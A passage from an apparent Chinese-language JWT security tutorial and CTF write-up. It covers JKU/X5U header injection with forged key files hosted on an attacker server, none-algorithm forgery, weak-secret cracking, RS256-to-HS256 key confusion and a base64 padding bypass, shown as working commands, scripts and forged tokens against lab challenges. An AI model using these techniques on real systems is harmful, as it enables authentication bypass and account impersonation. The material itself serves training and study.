} ] }JSON 中包含一个 keys 数组,里面放着两个公钥,它们 key name 都是一致,意思如下: alg(Algorithm),同上表示使用啥算法。e(Exponent),代表 RSA 公钥指数。kid(Key ID),表示标识符,当在 JWT Header 中使用了 kid,而 JWKS 中也用了同样的 KID 值,这样就很容易告诉程序到底使用哪个公钥去验证签名。kty(key type),表示使用什么加密算法,必须出现在 JWT 中。n(Modulus),代表 RSA 模数。use(Public Key Use),表示公钥用于干嘛,有两个值 sig(signature)和 enc(encryption),这里使用的是签名。其余关于加密的 key 请查看 JWE。 JKU 利用方法:原理是指定 jku header url 让 server 取我们指定的 key 验证。 利用步骤: 1.本地生成公私钥 openssl genrsa -out keypair.pem 2048 # 生成 RSA 私钥 openssl rsa -in keypair.pem -pubout -out publickey.crt # 生成公钥 openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out privatekey.key # 生成私钥2.篡改 JWT,使用本地生成的公钥和私钥通过在线网站http://jwt.io进行签名。 eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vdGljYXJwaS5jb20vandrcy5qc29uIn0.eyJsb2dpbiI6InRpY2FycGkifQ.hwgF2BnpRgSBJ2gnGoo-Uv1DA33wc8Nxr59AuLneSIqEITGNvQofpp3n0Afd_97kPLcITqJo84_jxTACupicK8yKT-pA8C4isgPN9dXNfHoUDOyTyd_jiKjCXAv9fh5sXPcUJpf06ok-Sw7ZvAN0sD_jVJv6iksZ6yMkSsmjpYO7LPmJb99We465tbrhauNdKfY-pVQCtEGHwZYvrXEr0fSgq018QA_n7N6DvtjxqcAuG0HcmBSWyzmbzl-OegnkWLj1r4_9v3aMxU8Lohsvha9haHW1ShpBdZlijKqXSZ9FQ1dU96-JQsbqMqGHLlEQqLxMNIrUQs2Vc0EGUaWu9https://ticarpi.com/jwks.json访问服务器中的jwks.json的内容如下: { "alg": "RS256", "e": "AQAB", "kid": "ibXf2UfPH/nPTmK/5EpdwBnrIbOIdcJUxL7/z/LLtr4=", "kty": "RSA", "n": "iMydXmbxVDUWW7tkCmtLTpKfPRxdjtOtIhGxW9kKP7NId1-l2jh2kZ8aklOUk0r9hk62jrtfcpradtmL11INpH_mUfDD-F5f1BgNAIjcel5-eIVxzRKUbrBgifwFDwVFFs9G7n8XLX2eCopmtewg3xcSRwcVVYQeSY75KqgkWT9ngYmeSoG4He5AhmN0DpDoSUc4E_LCzqGaGoAHSGmr4Zrt3MAF_ewlaDUs55WM_5PzIxp5OvFxiVDl82QJ9acEjreiQ-9L7k2ujkZs8ZkgUTLFljGCr4A-Q2ylEndFFjwMBp3OMcd_BBGTb7zfDTAyZ6ogQPy_i3Vr7d5PA5DYUw", "use": "sig" }本地生成的公钥和私钥内容如下: 将产生的public key完整得粘贴到公钥处,修改jku的地址为:http://www.backlion.com/jwks.json得到伪造后的token:eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vd3d3LmJhY2tsaW9uLmNvbS9qd2tzLmpzb24ifQ.eyJsb2dpbiI6InRpY2FycGkifQ.Ty5uIOx8Q1nm45m5uR4RDXVvmQh6wziSkt_k4S104QuZe7lZ644e-D8IBoHoeKzBA1syeTdlmxt4dOXMTHvH_aL8lS9W74YW9KtjXviedtNu91T7FtCr3ABmluzHOMa6-rUSe0pPwi2tqZ6HhsNSe3_cfCLApjSk2BTRuu3G5YpIZhFTHCMENbp6OhCcnCdKISw-CzjNtPfY1BvWynW3A__HxAp2btmpXXx8GvX0uyT4wnl2UGFiPQgZFB1xjs7vE0467C9TbdPYy5fcH-1YcDLoUp_tK6lmCaDsfYvaVg44dbyPhnJDFko4xg2OzH3njmBtfyIKTSWL91_ZFwIYLg3.下载应用 JWK 公钥文件jwks.json4.对自己b本地生成的公钥 publickey.crt 使用下面脚本提取 n、e 参数from Crypto.PublicKey import RSA with open("publickey.crt", "r") as file: key = RSA.importKey(file.read()) print("n:", hex(key.n)) print("e:", hex(key.e))n: 0xd9ebd4a8df4a79ad1ab274af04baf7631cea6bb18ca1a94299974983c47db0116a7ce0d088504b0481e3ff9db64ec75c8ba50c485e44b3c24df8c5bf27d41d55f40561ec0352e505ebd8935571c8df9d02cf73b83e1b2fe00334734bd5c67d113280c174f540dfca9b43909f935fb0c5cc940ff2c3207d7ad95d1bc75a4b99a32ab316be42dfeec82191a753bcfa7f6f801a458101f800b4a35597c46857b89b071b9b0231f8913f7c8b6c29c8197b201db62ce43598dc94f6ee7f2743356b5ddad3afd57f454e0532b499b642e89d6ff51f74635eee54eea7cd4715b3b868896e489e8dea9ad78a8a3a48fb51aa130f6e5a1b4ba9a18645a6e2a1acb16fdc4fe: 0x10001将本地获取到的n和e分别替换JWK 公钥文件jwks.json中的n和e ,得到伪造后的的jwks.json文件{ "alg": "RS256", "e": "10001", "kid": "ibXf2UfPH/nPTmK/5EpdwBnrIbOIdcJUxL7/z/LLtr4=", "kty": "RSA", "n": "d9ebd4a8df4a79ad1ab274af04baf7631cea6bb18ca1a94299974983c47db0116a7ce0d088504b0481e3ff9db64ec75c8ba50c485e44b3c24df8c5bf27d41d55f40561ec0352e505ebd8935571c8df9d02cf73b83e1b2fe00334734bd5c67d113280c174f540dfca9b43909f935fb0c5cc940ff2c3207d7ad95d1bc75a4b99a32ab316be42dfeec82191a753bcfa7f6f801a458101f800b4a35597c46857b89b071b9b0231f8913f7c8b6c29c8197b201db62ce43598dc94f6ee7f2743356b5ddad3afd57f454e0532b499b642e89d6ff51f74635eee54eea7cd4715b3b868896e489e8dea9ad78a8a3a48fb51aa130f6e5a1b4ba9a18645a6e2a1acb16fdc4f", "use": "sig" }下一步我们可以使用python的SimpleHTTPServer快速搭建服务器,将伪造后的的jwks.json文件上传到服务器中。 python -m SimpleHTTPServer 8080 (2)x5u注入 x5u(X.509 URL),也是将 X.509 公钥证书放在 URL 中。 在 JWT 中放入 Header 使用。 { "alg": "RS256", "typ": "JWT", "x5u": "https://example.com/jwks.crt" }X5U 利用方法: 生成 x509 证书和私钥,得到 attacker.crt 证书和 attacker.key 私钥。openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attack.key -out attack.crt提取 attacker.crt 证书公钥输出重定向到 publicKey.pem 文件。 openssl x509 -pubkey -noout -in attack.crt > publicKey.pem拿公钥 publicKey.pem 和私钥 attack.key 对 JWT 重新签名。篡改 JWT 中 x5u URL 指向为攻击者给定私钥文件路径地址即可。需要将attack.key上传到服务器上。最终得到新的token:eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vd3d3LmJhY2tsaW9uLmNvbS9qd2tzLmpzb24ifQ.eyJsb2dpbiI6InRpY2FycGkifQ.pWDnDPvAWhjaX-XuRg5QnkglsK31j-floya2IBYIJUY4KSk1kGNDbSTu7FuaL0nPBCp5erzwfIFK_KqoGt6bGOG0gKg6QRErN2oxjfSdNPGFrva4mr0yqJqXtfMmyw60F3omCpHo6hJ6UE6SkYpB93T2WIe8sZAfmyT1el8FllyhtX3oNrDyblgTQijeyGHYDQoA5TjUhiKXDewSQSBi-Sow__Y5Qh9966OueEW1si041LZki4o9DP24NYGvhGNhfBHBym1qoBPPtrWs02lGm4CiJbr4YcytszzG20ocaunIHcPNrZKSHTzGodWOeNDmwvFFxCTZ6zJ_AbFExIByGwpython3 jwt_tool.py <JWT> -S rs256 -pr private.pem -I -hc x5u -hv "https://attacker.com/custom_x5u.json" 0x03 CTF练习一:ctfhub- jwt1.JSON Web Token (JWT) - Introduction——签名算法可被修改为none http://challenge01.root-me.org/web-serveur/ch58/ 以guest身份登陆,在响应cookie中返回了JWT的值 bp截断获取jwt jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk 查看有效载荷 https://jwt.io 发现有效载荷的用户是guest,所以尝试改成admin。但发现,如果修改用户为admin,需要重新生成令牌。新的token生成需要key,但是爆破不成功。 使用python3的pyjwt模块,使用admin有效载荷,利用签名算法none漏洞,重新生成令牌 >>> import jwt >>> encoded = jwt.encode({'username': 'admin'}, '', algorithm='none') >>> encoded 'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.' 或者 python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk -X a 2.JSON Web Token (JWT) - Weak secret——token加密算法的密钥为弱口令http://challenge01.root-me.org/web-serveur/ch59/hello 我们都知道jwt签名时候都需要一个密钥。如果这个密钥是弱密钥的话,是可以爆破出来的 访问主页,提示使用get方式请求token页面,然后使用token通过post访问admin页面 先访问token页面 得到的token值:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw 然后使用post方式访问/admin,响应页面提示请求方法为:添加Authorization: Bearer YOURTOKEN字段在请求中添加获取到的令牌,在响应页面提示爆破key,密码算法为HS512 Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw 爆破jwt的key,key为弱口令:lol python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw -C -d /usr/share/wordlists/fasttrack.txt 再重新加密: >>> import jwt >>> encoded = jwt.encode({'role': 'admin'}, 'lol', algorithm='HS512') >>> encoded 'eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4ifQ.ShHwc6DRicQBw6YD0bX1C_67QKDQsOY5jV4LbopVghG9cXID7Ij16Rm2DxDZoCy3A7YXQpU4npOJNM-lt0gvmg' >>> 3.JSON Web Token (JWT) - Public key——泄露token加密算法的公钥文件(RS256修该为HS256)https://www.root-me.org/fr/Challenges/Web-Serveur/JSON-Web-Token-JWT-Cle-publique 根据提示访问/key路径文件,发现是公钥文件将其修改为标准的pem文件格式,public.pem:-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3XlRn9EORVAj3Ok3KQOBOBi7h06mUsn6OGXMo+EO8RV+Kb4zecpTsTe5zMSSqsz98xsHJ58SiDnLkwTZ8h6wpALlweZLXkSz8hMGel753v/q5wSdZgXxh3/ikbcFGZzAUoE1sIvqdFOlY5I2MiHIw4IFKttT+WWJF8AuRwfhCoITj3rO+BlsFG+c32OyXRUGQKKElLzjNYTYvYgSgBwAzHNxwfCVXQvTIs92ilkdokYvVL2EXCxxDfFnG1BSY8uOpzFSW/3e2lgX8zGMRcyjeUYsxwvjCjmDtbRhnFZth0brA72nDyQIemlDSFqci5krz6eQeeaKBKVESyr7d3NpfwIDAQAB-----END PUBLIC KEY-----使用post方式访问/auth,响应页面中提示需要添加username=yourname eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluO1xyXG4ifQ.AV5axWZwPrFbjCvxZ7Q1wzgsqwgQBRCNlPqIQEch8lHbIcIs8odndPwN3BFjPWNSYbrsAxRxM6hZLz7Ln-7rOFBeGfqR1xx0AvB_6QR-o8usqKRyHm7uvMLvBYJSCM4ed650d-pekR9sqAwDicta4-Pb_rxt7bteE2-bc09o_98wFXVB1MS0T4MVQVcJyG8VM3-b0AmAG7msULREpGCz09tKczSYljhS0OxR802kZkpKdmSazRUGMuP1hjTx2F2rV4Jveufj-ihXeZKNP4pB7mijPjvRrnnj1hHb3IffBIVgMTF269HaiuFMavJQcC-assAYOBxmm10OOnXHl3KUug通过https://jwt.io/查看返回的token的签名算法为R2256 尝试将签名算法RS256修改为HS256 python3 jwt_tool.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluO1xyXG4ifQ.AV5axWZwPrFbjCvxZ7Q1wzgsqwgQBRCNlPqIQEch8lHbIcIs8odndPwN3BFjPWNSYbrsAxRxM6hZLz7Ln-7rOFBeGfqR1xx0AvB_6QR-o8usqKRyHm7uvMLvBYJSCM4ed650d-pekR9sqAwDicta4-Pb_rxt7bteE2-bc09o_98wFXVB1MS0T4MVQVcJyG8VM3-b0AmAG7msULREpGCz09tKczSYljhS0OxR802kZkpKdmSazRUGMuP1hjTx2F2rV4Jveufj-ihXeZKNP4pB7mijPjvRrnnj1hHb3IffBIVgMTF269HaiuFMavJQcC-assAYOBxmm10OOnXHl3KUug -X k -pk public.pem eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRpbWVcclxuXHJcbiJ9.i88Z8PFUn-_Sjcw1mmNG5G9OHlyjwwwEAPlYk0rMKoI 4.JWT - Jeton revoque——token令牌base64特性的绕过http://challenge01.root-me.org/web-serveur/ch63/通过post访问/login,响应页面提示:需要添加post参数: {"username":"admin","password":"admin"}进行请求 修改Content-Type为 application/json,并添加post提交的参数: {"username":"admin","password":"admin"},发送请求,可获得jwt的token值但是这里尝试通过添加获得的jwt的token值以及get方法访问/admin,一直显示Authorization header错误。于是,通过 curl 使用 POST请求参数{"username":"admin","password":"admin"}curl -H "Content-Type: Application/json" -X POST -d '{"username":"admin","password":"admin"}' http://challenge01.root-me.org/web-serveur/ch63/login 获得token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NjI3OTYxNTksIm5iZiI6MTY2Mjc5NjE1OSwianRpIjoiYmFhMGRhMWItNjM0NS00ZWIwLTgzMmUtODZhMzcwYzMxYWUxIiwiZXhwIjoxNjYyNzk2MzM5LCJpZGVudGl0eSI6ImFkbWluIiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.GH7_2m1UQX57wQ6qI5eFonPdjdsUYD87FAGnM575lsg通过获得的toekn进行post访问/admin路径,请求响应token被撤销无效curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NjI3OTYxNTksIm5iZiI6MTY2Mjc5NjE1OSwianRpIjoiYmFhMGRhMWItNjM0NS00ZWIwLTgzMmUtODZhMzcwYzMxYWUxIiwiZXhwIjoxNjYyNzk2MzM5LCJpZGVudGl0eSI6ImFkbWluIiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.GH7_2m1UQX57wQ6qI5eFonPdjdsUYD87FAGnM575lsg" http://challenge01.root-me.org/web-serveur/ch63/admin让我们查看一下源代码: access_token = create_access_token(identity=username,expires_delta=datetime.timedelta(minutes=3)) ret = { 'access_token': access_token, } with lock: blacklist.add(access_token)令牌的生命周期为 3 分钟。不管我有多快,提交的toekn请求都是被撤销,令牌一被创建就会被列入黑名单。 所以我们需要一个有效的令牌,但不是被列入黑名单。甚至令牌本身也没有列入被黑名单,而jwt的值是 BASE64 表示。 根据BASE64 的特性:在某些情况下,BASE64 字符串的末尾可能有一个或两个“=”符号,它们的值是相等的。 尝试在令牌中末尾添加=,请求JWT认证,可获得flag curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NjI3OTYxNTksIm5iZiI6MTY2Mjc5NjE1OSwianRpIjoiYmFhMGRhMWItNjM0NS00ZWIwLTgzMmUtODZhMzcwYzMxYWUxIiwiZXhwIjoxNjYyNzk2MzM5LCJpZGVudGl0eSI6ImFkbWluIiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.GH7_2m1UQX57wQ6qI5eFonPdjdsUYD87FAGnM575lsg=" http://challenge01.root-me.org/web-serveur/ch63/admin 尝试在将token中的下划线_,替换成/,请求JWT认证,也可获得flag curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NjI3OTc5NTgsIm5iZiI6MTY2Mjc5Nzk1OCwianRpIjoiMTcwMmJhYzAtMzEwMi00NjAyLTk2YjgtNzU1ODlmMjRjZDg5IiwiZXhwIjoxNjYyNzk4MTM4LCJpZGVudGl0eSI6ImFkbWluIiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.Ln8xsAmrgWVJvxUlLRBZHNILvnYfUN7cXMTf6vk6L/Y" http://challenge01.root-me.org/web-serveur/ch63/admin 0x04 CTF练习二:ctfhub- jwt1.敏感信息泄露得到token:eyJBRyI6IjlhNTk2NDYwYTc2ODA0OH0iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsIkZMIjoiY3RmaHViezNlNzZkNGEwNyJ9.xVHh3CsKzXiEcGVnKJjcDWzK1CLAQb3zoi9tH82AgP4对token进行解密,可以发现泄露了flag信息最终flag:ctfhub{3e76d4a079a596460a768048} 2.签名算法可被修改为none根据题目提示,这里需要将role的guest修改为admin 使用python3的pyjwt模块,利用签名算法none漏洞,重新生成令牌 >>> import jwt >>> encoded = jwt.encode({"username": "admin","password": "admin","role": "admin"}, '', algorithm='none') >>> encoded 'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.' 最终得到flag:ctfhub{84900360e926146da11ac384} 3.签名密钥为弱口令 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJndWVzdCJ9.YDMMcFi4bdzsYvMw-W37rVUc9tuQFbxB_Qm7jMdqwe4https://jwt.io/#debugger 根据题目提示,这里使用HS256对称加密算法,如果key使用弱口令,则可以进行爆破 https://github.com/brendan-rius/c-jwt-cracker ./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJndWVzdCJ9.YDMMcFi4bdzsYvMw-W37rVUc9tuQFbxB_Qm7jMdqwe4得到密钥key为:bffl使用python3的pyjwt模块,利用签名算法HS256漏洞,重新生成令牌 再重新加密: >>> import jwt >>> encoded = jwt.encode({"username": "admin","password": "admin","role": "admin"}, 'bffl', algorithm='HS256') >>> encoded 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.PUXXdoUwnrERGR43u8pWyHZn_h4UOQGN0E-ML7DJV68' >>> 或者通过jwt.io进行修改 最终得到flag:ctfhub{6aec1e6b1736fd2604ae9098} 4.公钥文件泄露(将RS256修改为HS256) eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6Imd1ZXN0In0.JUKph2zwYUVwKAbAzp4Tmtm2bTuv_SvG_6H4-SJDl3NWHgIJwG5PAgUskjAQEIXKF5y_bLgMAzkkE4CMHeonKk8YEx1JPjj6_MXoXRXCuq9SDiWhxGGOpqmzI8gQlGTq7aNgDHAXyk83DVtDO4nNyQQxVJm0C3kgUMqfjmoz_toRi-b5mjxnWkwQtSkNZeUm8DQB42oA9biHGC2GFbRJPPtjjt5YPbXI9HdeTOLU4JGDtNMt7m4ur7mfXJz7-lhyttI_6cPdaB5HDcDgeMLQPfwfgAnzOCZckqV_6FpwHL5QKIZNICNHGNt8AB2_sK7Nb5uik-7lJCcKhF-m8jciWg # coding=utf-8import hmacimport hashlibimport base64 file = open('publickey.pem') #需要将文中的publickey下载 与脚本同目录key = file.read() # Paste your header and payload hereheader = '{"typ": "JWT", "alg": "HS256"}'payload = '{"username": "admin", "role": "admin"}' # Creating encoded headerencodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))encodeHeader = str(encodeHBytes, "utf-8").rstrip("=") # Creating encoded payloadencodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))encodePayload = str(encodePBytes, "utf-8").rstrip("=") # Concatenating header and payloadtoken = (encodeHeader + "." + encodePayload) # Creating signaturesig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=") print(token + "." + sig) 0x05 CTF练习三:ctf show- jwt1.未校验签名-web345访问页面,在响应页面中显示auth的token以及flag的提示在/admin目录下 对token进行JWT解码,可得到alg的加密算法为空eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NjI4Nzk2NzYsImV4cCI6MTY2Mjg4Njg3NiwibmJmIjoxNjYyODc5Njc2LCJzdWIiOiJ1c2VyIiwianRpIjoiODE5YWFjODJjNGQxY2Y0ZWJlMGQ2Mjk3ZjExMzM4ZjUifV0 对pyaload进行base64解码修改sub的值为admin,并对其进行base64编码得到编码后的payload:W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NjI4Nzk2NzYsImV4cCI6MTY2Mjg4Njg3NiwibmJmIjoxNjYyODc5Njc2LCJzdWIiOiJhZG1pbiIsImp0aSI6IjgxOWFhYzgyYzRkMWNmNGViZTBkNjI5N2YxMTMzOGY1In1d这里访问/admin/也就是访问 /admin/index.php,如果访问/admin,那就是访问/admin.php拼接token的header,显示302跳转如果删除签名的header,则可获得flag,这个应该是环境出现问题了 2.签名算法可被修改为none-web346 >>> import jwt >>> encoded = jwt.encode({"iss":"admin","iat":1662880531,"exp":1662887731,"nbf":1662880531,"sub":"admin","jti":"5a63a2e9d54b9b2345c8d94a80c7e321"}, '', algorithm='none') >>> encoded 'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2Mjg4MDUzMSwiZXhwIjoxNjYyODg3NzMxLCJuYmYiOjE2NjI4ODA1MzEsInN1YiI6ImFkbWluIiwianRpIjoiNWE2M2EyZTlkNTRiOWIyMzQ1YzhkOTRhODBjN2UzMjEifQ.' 3.签名密钥为弱口令---web347 python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2Mjg4MTI2OSwiZXhwIjoxNjYyODg4NDY5LCJuYmYiOjE2NjI4ODEyNjksInN1YiI6InVzZXIiLCJqdGkiOiJlZTVkZmU1ZmQ5YzI4OWM1OTgyNDQ0ZGUxZTZjYzY3YSJ9.oMXoszdhgYBvfhxYyoRTzUb-aKnUyBiyuB6skxAFySI -C -d /usr/share/wordlists/fasttrack.txt 得到token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2Mjg4MTI2OSwiZXhwIjoxNjYyODg4NDY5LCJuYmYiOjE2NjI4ODEyNjksInN1YiI6ImFkbWluIiwianRpIjoiZWU1ZGZlNWZkOWMyODljNTk4MjQ0NGRlMWU2Y2M2N2EifQ.S1VJZK3Qe_wQv2Ts3iduXBwmQt9DAEi6LPwk_ynPLQQ4.签名密钥可被爆破---web348 ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2Mjg4MjU5NiwiZXhwIjoxNjYyODg5Nzk2LCJuYmYiOjE2NjI4ODI1OTYsInN1YiI6InVzZXIiLCJqdGkiOiIzZjVkODcyZDlkYjlkMzE3NDQ2NTQ0YTk3NjA0ODNhOSJ9.N0MXBKcmvFGKLudZfpbhLCKlRio5Ne5Zdc7Wtj7JrSw Secret is "aaab"得到toekn:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2Mjg4MjU5NiwiZXhwIjoxNjYyODg5Nzk2LCJuYmYiOjE2NjI4ODI1OTYsInN1YiI6ImFkbWluIiwianRpIjoiM2Y1ZDg3MmQ5ZGI5ZDMxNzQ0NjU0NGE5NzYwNDgzYTkifQ.-Nnppe2aGshbQuT-JnOSpCcXz6KfVrR-rekqPEa3R6I 4.泄露token的私钥文件--web349 https://ctf.show/files/c75978a9951e4ba150ed34b0ea8f9d3d/app.js https://c472864d-d0b2-45c5-9f2c-f4cb1141743a.challenge.ctf.show/public.key -----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDbeni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQAB-----END PUBLIC KEY-----http://c472864d-d0b2-45c5-9f2c-f4cb1141743a.challenge.ctf.show//public//private.key -----BEGIN RSA PRIVATE KEY-----MIICWwIBAAKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDbeni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQABAoGAE+mAc995fvt3zN45qnI0EzyUgCZpgbWg8qaPyqowl2+OhYVEJq8VtPcVB1PKfrOtnyzYsmbnwjZJgEVYTlQsum0zJBuTKoN4iDoV0Oq1Auwlcr6O0T35RGiijqAXh7iFjNscfs/Dp/BnyKZuu60boXrcuyuZ8qXHz0exGkegjMECQQD1eP39cPhcwydMcdEBOgkI/E/EDWmdjcwIoauczwiQEx56EjAwM88rgxUGCUF4R/hIW9JD1vlp62QiST9LU4lxAkEA1lsfr9gF/9OdzAsPfuTLsl+l9zpo1jjzhXlwmHFgyCAn7gBKeWdvubocOClTTQ7Y4RqivomTmlNVtmcHda1XZQJAR0v0IZedW3wHPwnT1dJga261UFFA+tUDjQJAERSE/SvAb143BtkVdCLniVBI5sGomIOq569Z0+zdsaOqsZs60QJAYqtJV7EReeQX8693r4pztSTQCZBKZ6mJdvwidxlhWl1q4+QgY+fYBt8DVFq5bHQUIvIWzawYVGZdwvuD9IgY/QJAGCJbXA+Knw10B+g5tDZfVHsr6YYMY3Q24zVu4JXozWDVx+G39IajrVKwuCPG2VezWfwfWpTeo2bDmQS0CWOPjA==-----END RSA PRIVATE KEY-----下载了两个文件,按照官方文档伪造jwt应该用私钥,参见Usage Examples — PyJWT 2.3.0 documentation 通过私钥文件脚本加密得到token: import jwt private_key = open('private.key', 'r').read() payload={"user":"admin","iat": 1662886231} print(jwt.encode(payload=payload, key=private_key, algorithm='RS256')) 得到token:eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2NjI4ODYyMzF9.tOIE1qx5t4OMtulQ13AAd-u6Zi6hsCv6mPgKjsQPsR-uM6H2bCIeP_kL2buP7wv98gDQ9U1DVbh4OiZ5wCi4wpzuyUZ73tgb2pjr4AdwYnLFTm0Pj6w711A-Q6nE7CS8MW2-Rg6dsfK9EgUr_B1hWvrTYD9XuratfK3oumQuckQ这里需要post请求访问,可获得flag 5.泄露token的公钥文件-加密算法RS256修改为HS256(非对称加密算法-对称加密算法)-web350 下载源码,源码中泄露了公钥文件通过js脚本进行生成token,这里好像只能用这种方法获得:const jwt = require('jsonwebtoken'); var fs = require('fs'); var privateKey = fs.readFileSync('public.key'); var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' }); console.log(token)eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2NjI4OTA3NDl9.wcilipDOpHHy0o8_FNXyRnm4Szltxun7k6vGpUYWx_A 0x06 靶场练习(一)1.None Algorithm ----签名算法可被修改为nonehttps://jwt-lab.herokuapp.com/authentication/noneeyJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiam9uZXMifQ.na_VLQwcH-fMUTR3dq8lE8o3i2PiXNzCS7L5qYqAtc0EpEcj4aU0Vgw_G0SZTO1kE3T8kakjVyYsvWxrtyrgieGZQ3gprmGe5U1Gfk5Fn95RXJX08unU0SHaafdVq_Y2jZnp6QMTcnH7UHUOeoCGj2Mpo0ADaxJEjdMNRG55HbiI9cM8ERV-hlob3YWw78BPbbKixeRqveSaaa78ZzJbCyP0LcxCd8poi-hTmwN_JPMlw5LP04vjdcfzaToPX5RvPh7Kt3DaNd-yYN2aWW5vOIScYBpVcLwfI4FaSQK_nWMHgUdSh_fhY7cJDS1Z6V8kR4JPTaRtDTO_UbvcI7d71A >>> import jwt>>> encoded = jwt.encode({"name": "admin"}, '', 